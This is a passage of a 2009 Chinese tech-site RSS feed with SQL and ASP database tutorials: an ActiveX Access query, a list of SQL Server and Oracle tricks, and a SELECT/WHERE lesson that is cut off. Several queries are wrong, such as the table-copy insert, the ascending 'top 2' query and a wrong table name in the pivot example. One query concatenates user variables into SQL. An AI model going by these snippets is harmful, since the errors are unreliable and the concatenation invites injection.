			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:07:50 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2944</guid>
		<description><![CDATA[&lt;script language=&#34;javascript&#34;&gt;<br/>　 //用 JavaScript 写服务器端连接数据库的代码示例<br/>　 var conn = new ActiveXObject(&#34;ADODB.Connection&#34;);<br/>　 conn.Open(&#34;DBQ=c:\\a.mdb;DRIVER={Microsoft Access Driver (*.mdb)};&#34;);<br/>　 var rs = new ActiveXObject(&#34;ADODB.Recordset&#34;);<br/>　 var sql=&#34;sel&#101;ct * from friends_infor&#34;;<br/>　 rs.open(sql, conn);<br/>　shtml = &#34;&lt;table width=&#39;100%&#39; border=1&gt;&#34;;<br/>　shtml +=&#34;&lt;tr bgcolor=&#39;#f4f4f4&#39;&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;/tr&gt;&#34;;<br/>　 while(!rs.EOF)<br/>　 {<br/>　shtml += &#34;&lt;tr&gt;&lt;td&gt;&#34; + rs(&#34;friend_id&#34;) + &#34;&lt;/td&gt;&lt;td&gt;&#34; + rs(&#34;friend_name&#34;) + &#34;&lt;/td&gt;&lt;td&gt;&#34; + rs(&#34;friend_nickname&#34;) + &#34;&lt;/td&gt;&lt;/tr&gt;&#34;;<br/>　rs.moveNext;<br/>　 }<br/>　 shtml += &#34;&lt;/table&gt;&#34;;<br/>　 document.write(shtml);<br/>　 rs.close();<br/>　 rs = null;<br/>　 conn.close();<br/>　 conn = null;<br/>　&lt;/script&gt; ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2943.htm</link>
			<title><![CDATA[精妙SQL语句,绝对经典]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:06:48 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2943</guid>
		<description><![CDATA[1.说明：复制表(只复制结构,源表名：a 新表名：b)<br/>SQL: sel&#101;ct * into b from a wh&#101;re 1&lt;&gt;1<br/><br/>2.说明：拷贝表(拷贝数据,源表名：a 目标表名：b)<br/><br/>SQL: ins&#101;rt into b(a, b, c) sel&#101;ct d,e,f from b;<br/><br/>3.说明：显示文章、提交人和最后回复时间<br/><br/>SQL: sel&#101;ct a.title,a.username,b.adddate from table a,(sel&#101;ct max(adddate) adddate from table wh&#101;re table.title=a.title) b<br/><br/>4.说明：外连接查询(表名1：a 表名2：b)<br/><br/>SQL: sel&#101;ct a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUTER JOIN b ON a.a = b.c<br/><br/>5.说明：日程安排提前五分钟提醒<br/><br/>SQL: sel&#101;ct * from 日程安排 wh&#101;re datediff(&#39;minute&#39;,f开始时间,getdate())&gt;5<br/><br/>6.说明：两张关联表，删除主表中已经在副表中没有的信息<br/><br/>SQL:<br/><br/>del&#101;te from info wh&#101;re not exists ( sel&#101;ct * from infobz wh&#101;re info.infid=infobz.infid )<br/><br/>说明：--<br/><br/>SQL:<br/><br/>Sel&#101;ct A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE<br/><br/>FROM TABLE1,<br/><br/>(Sel&#101;ct X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE<br/><br/>FROM (Sel&#101;ct NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND<br/><br/>FROM TABLE2<br/><br/>Wh&#101;re TO_CHAR(UPD_DATE,&#39;YYYY/MM&#39;) = TO_CHAR(SYSDATE, &#39;YYYY/MM&#39;)) X,<br/><br/>(Sel&#101;ct NUM, UPD_DATE, STOCK_ONHAND<br/><br/>FROM TABLE2<br/><br/>Wh&#101;re TO_CHAR(UPD_DATE,&#39;YYYY/MM&#39;) =<br/><br/>TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, &#39;YYYY/MM&#39;) || &#39;/01&#39;,&#39;YYYY/MM/DD&#39;) - 1, &#39;YYYY/MM&#39;) ) Y,<br/><br/>Wh&#101;re X.NUM = Y.NUM （+）<br/><br/>AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) &lt;&gt; X.STOCK_ONHAND ) B<br/><br/>Wh&#101;re A.NUM = B.NUM<br/><br/>说明：--<br/><br/>SQL:<br/><br/>sel&#101;ct * from studentinfo wh&#101;re not exists(sel&#101;ct * from student wh&#101;re studentinfo.id=student.id) and 系名称=&#39;&#34;&amp;strdepartmentname&amp;&#34;&#39; and 专业名称=&#39;&#34;&amp;strprofessionname&amp;&#34;&#39; o&#114;der by 性别,生源地,高考总成绩<br/><br/>7.说明：<br/><br/>从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源）<br/><br/>SQL:<br/><br/>Sel&#101;ct a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, &#39;yyyy&#39;) AS telyear,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;01&#39;, a.factration)) AS JAN,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;02&#39;, a.factration)) AS FRI,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;03&#39;, a.factration)) AS MAR,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;04&#39;, a.factration)) AS APR,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;05&#39;, a.factration)) AS MAY,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;06&#39;, a.factration)) AS JUE,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;07&#39;, a.factration)) AS JUL,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;08&#39;, a.factration)) AS AGU,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;09&#39;, a.factration)) AS SEP,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;10&#39;, a.factration)) AS OCT,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;11&#39;, a.factration)) AS NOV,<br/><br/>SUM(decode(TO_CHAR(a.telfeedate, &#39;mm&#39;), &#39;12&#39;, a.factration)) AS DEC<br/><br/>FROM (Sel&#101;ct a.userper, a.tel, a.standfee, b.telfeedate, b.factration<br/><br/>FROM TELFEESTAND a, TELFEE b<br/><br/>Wh&#101;re a.tel = b.telfax) a<br/><br/>GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, &#39;yyyy&#39;)<br/><br/>8.说明：四表联查问题：<br/><br/>SQL: sel&#101;ct * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d wh&#101;re .....<br/><br/>9.说明：得到表中最小的未使用的ID号<br/><br/>SQL:<br/><br/>Sel&#101;ct (CASE WHEN EXISTS(Sel&#101;ct * FROM Handle b Wh&#101;re b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID<br/><br/>FROM Handle<br/><br/>Wh&#101;re NOT HandleID IN (Sel&#101;ct a.HandleID - 1 FROM Handle a)<br/><br/><br/><br/>9.SQL语句技巧<br/>9.1、一个SQL语句的问题:行列转换<br/>sel&#101;ct * from v_temp<br/>上面的视图结果如下:<br/>user_name role_name<br/>-------------------------<br/>系统管理员 管理员<br/>feng 管理员<br/>feng 一般用户<br/>test 一般用户<br/>想把结果变成这样:<br/>user_name role_name<br/>---------------------------<br/>系统管理员 管理员<br/>feng 管理员,一般用户<br/>test 一般用户<br/>===================<br/>cr&#101;ate table a_test(name varchar(20),role2 varchar(20))<br/>ins&#101;rt into a_test values(&#39;李&#39;,&#39;管理員&#39;)<br/>ins&#101;rt into a_test values(&#39;張&#39;,&#39;管理員&#39;)<br/>ins&#101;rt into a_test values(&#39;張&#39;,&#39;一般用戶&#39;)<br/>ins&#101;rt into a_test values(&#39;常&#39;,&#39;一般用戶&#39;)<br/><br/>cr&#101;ate function join_str(@content varchar(100))<br/>returns varchar(2000)<br/>as<br/>begin<br/>declare @str varchar(2000)<br/>set @str=&#39;&#39;<br/>sel&#101;ct @str=@str+&#39;,&#39;+rtrim(role2) from a_test wh&#101;re [name]=@content<br/>sel&#101;ct @str=right(@str,len(@str)-1)<br/>return @str<br/>end<br/>go<br/><br/>--调用：<br/>sel&#101;ct [name],dbo.join_str([name]) role2 from a_test group by [name]<br/><br/>--sel&#101;ct distinct name,dbo.uf_test(name) from a_test<br/><br/>9.2、求助！快速比较结构相同的两表<br/>结构相同的两表，一表有记录3万条左右，一表有记录2万条左右，我怎样快速查找两表的不同记录？<br/>============================<br/>给你一个测试方法，从northwind中的orders表取数据。<br/>sel&#101;ct * into n1 from o&#114;ders<br/>sel&#101;ct * into n2 from o&#114;ders<br/><br/>sel&#101;ct * from n1<br/>sel&#101;ct * from n2<br/><br/>--添加主键，然后修改n1中若干字段的若干条<br/>alt&#101;r table n1 add constraint pk_n1_id primary key (OrderID)<br/>alt&#101;r table n2 add constraint pk_n2_id primary key (OrderID)<br/><br/>sel&#101;ct o&#114;derID from (sel&#101;ct * from n1<br/>union<br/>sel&#101;ct * from n2) a group by o&#114;derID having count(*) &gt; 1<br/><br/>应该可以，而且将不同的记录的ID显示出来。<br/>下面的适用于双方记录一样的情况，<br/><br/>sel&#101;ct * from n1 wh&#101;re o&#114;derid in<br/>(<br/>sel&#101;ct o&#114;derID from (sel&#101;ct * from n1<br/>union<br/>sel&#101;ct * from n2) a group by o&#114;derID having count(*) &gt; 1<br/>)<br/>至于双方互不存在的记录是比较好处理的<br/>--删除n1,n2中若干条记录<br/>del&#101;te from n1 wh&#101;re o&#114;derID in (&#39;10728&#39;,&#39;10730&#39;)<br/>del&#101;te from n2 wh&#101;re o&#114;derID in (&#39;11000&#39;,&#39;11001&#39;)<br/><br/>--*************************************************************<br/>-- 双方都有该记录却不完全相同<br/>sel&#101;ct * from n1 wh&#101;re o&#114;derid in<br/>(<br/>sel&#101;ct o&#114;derID from (sel&#101;ct * from n1<br/>union<br/>sel&#101;ct * from n2) a group by o&#114;derID having count(*) &gt; 1<br/>)<br/>union<br/>--n2中存在但在n1中不存的在10728,10730<br/>sel&#101;ct * from n1 wh&#101;re o&#114;derID not in (sel&#101;ct o&#114;derID from n2)<br/>union<br/>--n1中存在但在n2中不存的在11000,11001<br/>sel&#101;ct * from n2 wh&#101;re o&#114;derID not in (sel&#101;ct o&#114;derID from n1)<br/><br/>9.3、四种方法取表里n到m条纪录：<br/><br/>1.<br/>sel&#101;ct top m * into 临时表(或表变量) from tablename o&#114;der by columnname -- 将top m笔插入<br/>set rowcount n<br/>sel&#101;ct * from 表变量 o&#114;der by columnname desc<br/><br/><br/>2.<br/>sel&#101;ct top n * from<br/>(sel&#101;ct top m * from tablename o&#114;der by columnname) a<br/>o&#114;der by columnname desc<br/><br/><br/>3.如果tablename里没有其他identity列，那么：<br/>sel&#101;ct identity(int) id0,* into #temp from tablename<br/><br/>取n到m条的语句为：<br/>sel&#101;ct * from #temp wh&#101;re id0 &gt;=n and id0 &lt;= m<br/><br/>如果你在执行sel&#101;ct identity(int) id0,* into #temp from tablename这条语句的时候报错,那是因为你的DB中间的sel&#101;ct into/bulkcopy属性没有打开要先执行：<br/>exec sp_dboption 你的DB名字,&#39;sel&#101;ct into/bulkcopy&#39;,true<br/><br/><br/>4.如果表里有identity属性，那么简单：<br/>sel&#101;ct * from tablename wh&#101;re identitycol between n and m<br/>5.如何删除一个表中重复的记录？<br/>cr&#101;ate table a_dist(id int,name varchar(20))<br/><br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/><br/>exec up_distinct &#39;a_dist&#39;,&#39;id&#39;<br/><br/>sel&#101;ct * from a_dist<br/><br/>cr&#101;ate procedure up_distinct(@t_name varchar(30),@f_key varchar(30))<br/>--f_key表示是分組字段﹐即主鍵字段<br/>as<br/>begin<br/>declare @max integer,@id varchar(30) ,@sql varchar(7999) ,@type integer<br/>sel&#101;ct @sql = &#39;declare cur_rows cursor for sel&#101;ct &#39;+@f_key+&#39; ,count(*) from &#39; +@t_name +&#39; group by &#39; +@f_key +&#39; having count(*) &gt; 1&#39;<br/>exec(@sql)<br/>open cur_rows<br/>fetch cur_rows into @id,@max<br/>while @@fetch_status=0<br/>begin<br/>sel&#101;ct @max = @max -1<br/>set rowcount @max<br/>sel&#101;ct @type = xtype from syscolumns wh&#101;re id=object_id(@t_name) and name=@f_key<br/>if @type=56<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; wh&#101;re &#39; + @f_key+&#39; = &#39;+ @id<br/>if @type=167<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; wh&#101;re &#39; + @f_key+&#39; = &#39;+&#39;&#39;&#39;&#39;+ @id +&#39;&#39;&#39;&#39;<br/>exec(@sql)<br/>fetch cur_rows into @id,@max<br/>end<br/>close cur_rows<br/>deallocate cur_rows<br/>set rowcount 0<br/>end<br/><br/>sel&#101;ct * from systypes<br/>sel&#101;ct * from syscolumns wh&#101;re id = object_id(&#39;a_dist&#39;)<br/><br/>9.4.查询数据的最大排序问题（只能用一条语句写）<br/>Cr&#101;ate TABLE hard (qu char (11) ,co char (11) ,je numeric(3, 0))<br/><br/>ins&#101;rt into hard values (&#39;A&#39;,&#39;1&#39;,3)<br/>ins&#101;rt into hard values (&#39;A&#39;,&#39;2&#39;,4)<br/>ins&#101;rt into hard values (&#39;A&#39;,&#39;4&#39;,2)<br/>ins&#101;rt into hard values (&#39;A&#39;,&#39;6&#39;,9)<br/>ins&#101;rt into hard values (&#39;B&#39;,&#39;1&#39;,4)<br/>ins&#101;rt into hard values (&#39;B&#39;,&#39;2&#39;,5)<br/>ins&#101;rt into hard values (&#39;B&#39;,&#39;3&#39;,6)<br/>ins&#101;rt into hard values (&#39;C&#39;,&#39;3&#39;,4)<br/>ins&#101;rt into hard values (&#39;C&#39;,&#39;6&#39;,7)<br/>ins&#101;rt into hard values (&#39;C&#39;,&#39;2&#39;,3)<br/><br/><br/>要求查询出来的结果如下：<br/><br/><br/>qu co je<br/>----------- ----------- -----<br/>A 6 9<br/>A 2 4<br/>B 3 6<br/>B 2 5<br/>C 6 7<br/>C 3 4<br/><br/><br/>就是要按qu分组，每组中取je最大的前2位！！<br/>而且只能用一句sql语句！！！<br/>sel&#101;ct * from hard a wh&#101;re je in (sel&#101;ct top 2 je from hard b wh&#101;re a.qu=b.qu o&#114;der by je)<br/>9.5.求删除重复记录的sql语句？<br/>怎样把具有相同字段的纪录删除，只留下一条。<br/>例如，表test里有id,name字段<br/>如果有name相同的记录 只留下一条，其余的删除。<br/>name的内容不定，相同的记录数不定。<br/>有没有这样的sql语句？<br/>==============================<br/>A:一个完整的解决方案：<br/><br/>将重复的记录记入temp1表:<br/>sel&#101;ct [标志字段id],count(*) into temp1 from [表名]<br/>group by [标志字段id]<br/>having count(*)&gt;1<br/><br/>2、将不重复的记录记入temp1表:<br/>ins&#101;rt temp1<br/>sel&#101;ct [标志字段id],count(*) from [表名]<br/>group by [标志字段id]<br/>having count(*)=1<br/><br/>3、作一个包含所有不重复记录的表：<br/>sel&#101;ct * into temp2 from [表名]<br/>wh&#101;re 标志字段id in(sel&#101;ct 标志字段id from temp1)<br/><br/>4、删除重复表:<br/>del&#101;te [表名]<br/><br/>5、恢复表：<br/>ins&#101;rt [表名]<br/>sel&#101;ct * from temp2<br/><br/>6、删除临时表:<br/>dro&#112; table temp1<br/>dro&#112; table temp2<br/>================================<br/>B:<br/>cr&#101;ate table a_dist(id int,name varchar(20))<br/><br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/><br/>exec up_distinct &#39;a_dist&#39;,&#39;id&#39;<br/><br/>sel&#101;ct * from a_dist<br/><br/>cr&#101;ate procedure up_distinct(@t_name varchar(30),@f_key varchar(30))<br/>--f_key表示是分組字段﹐即主鍵字段<br/>as<br/>begin<br/>declare @max integer,@id varchar(30) ,@sql varchar(7999) ,@type integer<br/>sel&#101;ct @sql = &#39;declare cur_rows cursor for sel&#101;ct &#39;+@f_key+&#39; ,count(*) from &#39; +@t_name +&#39; group by &#39; +@f_key +&#39; having count(*) &gt; 1&#39;<br/>exec(@sql)<br/>open cur_rows<br/>fetch cur_rows into @id,@max<br/>while @@fetch_status=0<br/>begin<br/>sel&#101;ct @max = @max -1<br/>set rowcount @max<br/>sel&#101;ct @type = xtype from syscolumns wh&#101;re id=object_id(@t_name) and name=@f_key<br/>if @type=56<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; wh&#101;re &#39; + @f_key+&#39; = &#39;+ @id<br/>if @type=167<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; wh&#101;re &#39; + @f_key+&#39; = &#39;+&#39;&#39;&#39;&#39;+ @id +&#39;&#39;&#39;&#39;<br/>exec(@sql)<br/>fetch cur_rows into @id,@max<br/>end<br/>close cur_rows<br/>deallocate cur_rows<br/>set rowcount 0<br/>end<br/><br/>sel&#101;ct * from systypes<br/>sel&#101;ct * from syscolumns wh&#101;re id = object_id(&#39;a_dist&#39;)<br/><br/>10.1. 行列转换--普通<br/><br/>假设有张学生成绩表(CJ)如下<br/>Name Subject Result<br/>张三 语文 80<br/>张三 数学 90<br/>张三 物理 85<br/>李四 语文 85<br/>李四 数学 92<br/>李四 物理 82<br/><br/>想变成<br/>姓名 语文 数学 物理<br/>张三 80 90 85<br/>李四 85 92 82<br/><br/>declare @sql varchar(4000)<br/>set @sql = &#39;sel&#101;ct Name&#39;<br/>sel&#101;ct @sql = @sql + &#39;,sum(case Subject when &#39;&#39;&#39;+Subject+&#39;&#39;&#39; then Result end) [&#39;+Subject+&#39;]&#39;<br/>from (sel&#101;ct distinct Subject from CJ) as a<br/>sel&#101;ct @sql = @sql+&#39; from test group by name&#39;<br/>exec(@sql)<br/><br/>10.2. 行列转换--合并<br/><br/>有表A,<br/>id pid<br/>1 1<br/>1 2<br/>1 3<br/>2 1<br/>2 2<br/>3 1<br/>如何化成表B:<br/>id pid<br/>1 1,2,3<br/>2 1,2<br/>3 1<br/><br/>创建一个合并的函数<br/>cr&#101;ate function fmerg(@id int)<br/>returns varchar(8000)<br/>as<br/>begin<br/>declare @str varchar(8000)<br/>set @str=&#39;&#39;<br/>sel&#101;ct @str=@str+&#39;,&#39;+cast(pid as varchar) from 表A wh&#101;re id=@id<br/>set @str=right(@str,len(@str)-1)<br/>return(@str)<br/>End<br/>go<br/><br/>--调用自定义函数得到结果<br/>sel&#101;ct distinct id,dbo.fmerg(id) from 表A<br/><br/>10.3. 如何取得一个数据表的所有列名<br/><br/>方法如下：先从SYSTEMOBJECT系统表中取得数据表的SYSTEMID,然后再SYSCOLUMN表中取得该数据表的所有列名。<br/>SQL语句如下：<br/>declare @objid int,@objname char(40)<br/>set @objname = &#39;tablename&#39;<br/>sel&#101;ct @objid = id from sysobjects wh&#101;re id = object_id(@objname)<br/>sel&#101;ct &#39;Column_name&#39; = name from syscolumns wh&#101;re id = @objid o&#114;der by colid<br/><br/>是不是太简单了？ 呵呵 不过经常用阿.<br/><br/>10.4. 通过SQL语句来更改用户的密码<br/><br/>修改别人的,需要sysadmin role<br/>EXEC sp_password NULL, &#39;newpassword&#39;, &#39;User&#39;<br/><br/>如果帐号为SA执行EXEC sp_password NULL, &#39;newpassword&#39;, sa<br/><br/>10.5. 怎么判断出一个表的哪些字段不允许为空？<br/><br/>sel&#101;ct COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS wh&#101;re IS_NULLABLE=&#39;NO&#39; and TABLE_NAME=tablename<br/><br/>10.6. 如何在数据库里找到含有相同字段的表？<br/>a. 查已知列名的情况<br/>Sel&#101;ct b.name as TableName,a.name as columnname<br/>From syscolumns a INNER JOIN sysobjects b<br/>ON a.id=b.id<br/>AND b.type=&#39;U&#39;<br/>AND a.name=&#39;你的字段名字&#39;<br/><br/>b. 未知列名查所有在不同表出现过的列名<br/>Sel&#101;ct o.name As tablename,s1.name As columnname<br/>From syscolumns s1, sysobjects o<br/>Wh&#101;re s1.id = o.id<br/>And o.type = &#39;U&#39;<br/>And Exists (<br/>Sel&#101;ct 1 From syscolumns s2<br/>Wh&#101;re s1.name = s2.name<br/>And s1.id &lt;&gt; s2.id<br/>)<br/><br/>10.7. 查询第xxx行数据<br/><br/>假设id是主键：<br/>sel&#101;ct *<br/>from (sel&#101;ct top xxx * from yourtable) aa<br/>wh&#101;re not exists(sel&#101;ct 1 from (sel&#101;ct top xxx-1 * from yourtable) bb wh&#101;re aa.id=bb.id)<br/><br/>如果使用游标也是可以的<br/>fetch absolute [number] from [cursor_name]<br/>行数为绝对行数<br/><br/>10.8. SQL Server日期计算<br/>a. 一个月的第一天<br/>Sel&#101;ct DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)<br/>b. 本周的星期一<br/>Sel&#101;ct DATEADD(wk, DATEDIFF(wk,0,getdate()), 0)<br/>c. 一年的第一天<br/>Sel&#101;ct DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)<br/>d. 季度的第一天<br/>Sel&#101;ct DATEADD(qq, DATEDIFF(qq,0,getdate()), 0)<br/>e. 上个月的最后一天<br/>Sel&#101;ct dateadd(ms,-3,DATEADD(mm, DATEDIFF(mm,0,getdate()), 0))<br/>f. 去年的最后一天<br/>Sel&#101;ct dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate()), 0))<br/>g. 本月的最后一天<br/>Sel&#101;ct dateadd(ms,-3,DATEADD(mm, DATEDIFF(m,0,getdate())+1, 0))<br/>h. 本月的第一个星期一<br/>sel&#101;ct DATEADD(wk, DATEDIFF(wk,0,<br/>dateadd(dd,6-datepart(day,getdate()),getdate())<br/>), 0)<br/>i. 本年的最后一天<br/>Sel&#101;ct dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0))。<br/><br/>11.1.获取表结构[把 &#39;sysobjects&#39; 替换 成 &#39;tablename&#39; 即可]<br/><br/>Sel&#101;ct CASE IsNull(I.name, &#39;&#39;)<br/>When &#39;&#39; Then &#39;&#39;<br/>Else &#39;*&#39;<br/>End as IsPK,<br/>Object_Name(A.id) as t_name,<br/>A.name as c_name,<br/>IsNull(SubString(M.text, 1, 254), &#39;&#39;) as pbc_init,<br/>T.name as F_DataType,<br/>CASE IsNull(TYPEPROPERTY(T.name, &#39;Scale&#39;), &#39;&#39;)<br/>WHEN &#39;&#39; Then Cast(A.prec as varchar)<br/>ELSE Cast(A.prec as varchar) + &#39;,&#39; + Cast(A.scale as varchar)<br/>END as F_Scale,<br/>A.isnullable as F_isNullAble<br/>FROM Syscolumns as A<br/>JOIN Systypes as T<br/>ON (A.xType = T.xUserType AND A.Id = Object_id(&#39;sysobjects&#39;) )<br/>LEFT JOIN ( SysIndexes as I<br/>JOIN Syscolumns as A1<br/>ON ( I.id = A1.id and A1.id = object_id(&#39;sysobjects&#39;) and (I.status &amp; 0x800) = 0x800 AND A1.colid &lt;= I.keycnt) )<br/>ON ( A.id = I.id AND A.name = index_col(&#39;sysobjects&#39;, I.indid, A1.colid) )<br/>LEFT JOIN SysComments as M<br/>ON ( M.id = A.cdefault and ObjectProperty(A.cdefault, &#39;IsConstraint&#39;) = 1 )<br/>o&#114;DER BY A.Colid ASC<br/><br/><br/>11.2..提取数据库内所有表的字段详细说明的SQL语句<br/><br/>Sel&#101;ct<br/>(case when a.colorder=1 then d.name else &#39;&#39; end) N&#39;表名&#39;,<br/>a.colorder N&#39;字段序号&#39;,<br/>a.name N&#39;字段名&#39;,<br/>(case when COLUMNPROPERTY( a.id,a.name,&#39;IsIdentity&#39;)=1 then &#39;√&#39;else &#39;&#39;<br/>end) N&#39;标识&#39;,<br/>(case when (Sel&#101;ct count(*)<br/>FROM sysobjects<br/>Wh&#101;re (name in<br/>(Sel&#101;ct name<br/>FROM sysindexes<br/>Wh&#101;re (id = a.id) AND (indid in<br/>(Sel&#101;ct indid<br/>FROM sysindexkeys<br/>Wh&#101;re (id = a.id) AND (colid in<br/>(Sel&#101;ct colid<br/>FROM syscolumns<br/>Wh&#101;re (id = a.id) AND (name = a.name))))))) AND<br/>(xtype = &#39;PK&#39;))&gt;0 then &#39;√&#39; else &#39;&#39; end) N&#39;主键&#39;,<br/>b.name N&#39;类型&#39;,<br/>a.length N&#39;占用字节数&#39;,<br/>COLUMNPROPERTY(a.id,a.name,&#39;PRECISION&#39;) as N&#39;长度&#39;,<br/>isnull(COLUMNPROPERTY(a.id,a.name,&#39;Scale&#39;),0) as N&#39;小数位数&#39;,<br/>(case when a.isnullable=1 then &#39;√&#39;else &#39;&#39; end) N&#39;允许空&#39;,<br/>isnull(e.text,&#39;&#39;) N&#39;默认值&#39;,<br/>isnull(g.[value],&#39;&#39;) AS N&#39;字段说明&#39;<br/>FROM syscolumns a<br/>left join systypes b<br/>on a.xtype=b.xusertype<br/>inner join sysobjects d<br/>on a.id=d.id and d.xtype=&#39;U&#39; and d.name&lt;&gt;&#39;dtproperties&#39;<br/>left join syscomments e<br/>on a.cdefault=e.id<br/>left join sysproperties g<br/>on a.id=g.id AND a.colid = g.smallid<br/>o&#114;der by object_name(a.id),a.colorder<br/><br/>11.3.快速获取表test的记录总数[对大容量表非常有效]<br/><br/>快速获取表test的记录总数:<br/>sel&#101;ct rows from sysindexes wh&#101;re id = object_id(‘test’) and indid in (0,1)]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2942.htm</link>
			<title><![CDATA[详解在ASP中使用SQL语句]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:04:30 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2942</guid>
		<description><![CDATA[在ASP中使用SQL语句之1:Sel&#101;ct 语句<br/><br/>五花八门的SQL产品多得要命，或许你早顾不得其它甩开袖子就动手干了。但你要同时采用ASP和SQL的话就可能会头晕。MySQL、SQL Server和mSQL都是绝佳的SQL工具，可惜，在ASP的环境下你却用不着它们来创建实用的SQL语句。不过，你可以利用自己掌握的Access知识以及相应的Access技能，再加上我们的提示和技巧，相信一定能成功地在你的ASP网页中加入SQL。<br/><br/> <br/><br/>在SQL的世界里，最最基础的操作就是Sel&#101;ct 语句了。在数据库工具下直接采用SQL的时候很多人都会熟悉下面的操作：<br/>Sel&#101;ct what<br/>FROM whichTable<br/>Wh&#101;re criteria<br/><br/>执行以上语句就会创建一个存放其结果的查询。<br/><br/>而在ASP页面文件上，你也可以采用以上的一般语法，不过情况稍微不同，ASP编程的时候，Sel&#101;ct 语句的内容要作为字符串赋给一个变量：<br/>SQL = &#34;Sel&#101;ct what FROM whichTable Wh&#101;re criteria&#34;<br/><br/>好了，明白了ASP下SQL“说话”的方式，接下来如法炮制即可，只要满足你的需要，传统的SQL查询模式和条件查询都能派用场。<br/><br/>举例说明，不妨假设你的数据库内有个数据表，名字是Products ，现在你想取出这个表里的全部记录。然后你就编写了下面的代码：<br/>SQL =&#34;Sel&#101;ct * FROM Products&#34;<br/><br/>以上代码——SQL语句的作用就是取出表内的全部数据——执行后将会选出数据表内的全部记录。不过，要是只想从表内取出某个特定列，比如p_name。那就不能用 * 通配符了，这里得键入具体某列的名字，代码如下：<br/>SQL =&#34;Sel&#101;ct p_name FROM Products&#34;<br/><br/>执行以上查询之后Products 表内、p_name 列的内容就会全被选取出来。<br/><br/><br/>在ASP中使用SQL语句之2:用Wh&#101;re子句设置查询条件<br/><br/>有的时候取出全部数据库记录也许正好满足你的要求，不过，在大多数情况下我们通常只需得到部分记录。这样一来该如何设计查询呢？当然会更费点脑筋了，何况本文也存心不想让你去用那个什么劳什子的recordset。<br/><br/>举个例子，假如你只打算取出p_name 记录，而且这些记录的名字必须以字母w打头，那么你就要用到下面的Wh&#101;re 子句了：<br/>SQL =&#34;Sel&#101;ct p_name FROM Products Wh&#101;re p_name LIKE &#39;W%&#39;&#34;<br/><br/>Wh&#101;re 关键词的后面跟着用来过滤数据的条件，有了这些条件的帮助，只有满足一定标准的数据才会被查询出来。在以上的例子里，查询的结果只会得到名字以w 打头的p_name 记录。<br/><br/>以上例子中，百分比符号（%）的含义是指示查询返回所有w 字母打头而且后面是任何数据甚至没有数据的记录条目。所以，在执行以上查询的时候， west 和 willow 就会从Products 表内被选取出来并存放在查询里。<br/><br/>就像你看到的那样，只要仔细地设计Sel&#101;ct 语句，你就可以限制recordset 中返回的信息量，多琢磨琢磨总能满足你的要求。<br/><br/>这些啊还不过是掌握SQL用途刚起步。为了帮助你逐步掌握复杂的Sel&#101;ct 语句用法，下面就让我们再来看一下关键的标准术语：比较运算符，这些玩意都是你在构筑自己的Sel&#101;ct 字符串来获得特定数据时要经常用到的。<br/><br/>Wh&#101;re子句基础<br/>在开始创建Wh&#101;re 子句的时候，最简单的方式是采用标准的比较符号，它们是 &lt; 、 &lt;= 、 &gt; 、 &gt;= 、&lt;&gt; 和 =。显然，你很快就能明白以下代码的含义和具体运行结果：<br/>Sel&#101;ct * FROM Products Wh&#101;re p_price &gt;= 199.95<br/>Sel&#101;ct * FROM Products Wh&#101;re p_price 